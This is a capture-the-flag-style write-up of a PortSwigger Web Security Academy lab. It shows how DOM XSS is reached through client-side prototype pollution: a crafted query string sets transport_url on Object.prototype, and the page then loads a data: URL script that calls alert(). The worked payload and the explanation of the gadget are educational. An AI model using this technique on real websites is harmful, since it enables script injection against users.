| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Prototype Pollution / DOM XSS |
| Difficulty | Practitioner |
| Objective | Pollute Object.prototype via the URL query string to inject transport_url into the page's config object and trigger alert() |
DOM XSS via Client-Side Prototype Pollution¶
Testing the URL query string for prototype pollution:
/?__proto__[tetoProperty]=miku
console.log({}.tetoProperty)
// → miku
Pollution confirmed. Browsing to searchLogger.js in DevTools:
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
...
}
config is created with only a params property — transport_url is never defined as an own property on the object. When config.transport_url is evaluated, the JavaScript engine falls through to the prototype chain, which we control. This is the unpatched version of the gadget from the previous lab: no Object.defineProperty() attempting to lock anything down. The gadget works precisely because transport_url is left undefined on config — own properties always shadow prototype properties. If the developer had written transport_url: false, prototype pollution couldn't override it.
Injecting directly:
/?__proto__[transport_url]=data:,alert(1)
Object.prototype.transport_url is set, searchLogger() fires on page load, config.transport_url resolves through the prototype chain to data:,alert(1), if(config.transport_url) is truthy, and <script src="data:,alert(1)"> gets appended to the DOM.
When the source is the URL and the gadget flows directly to script.src, the entire exploit fits in a single crafted URL. No interaction, no server, no chaining — just navigate and the payload executes.
Lab solved :P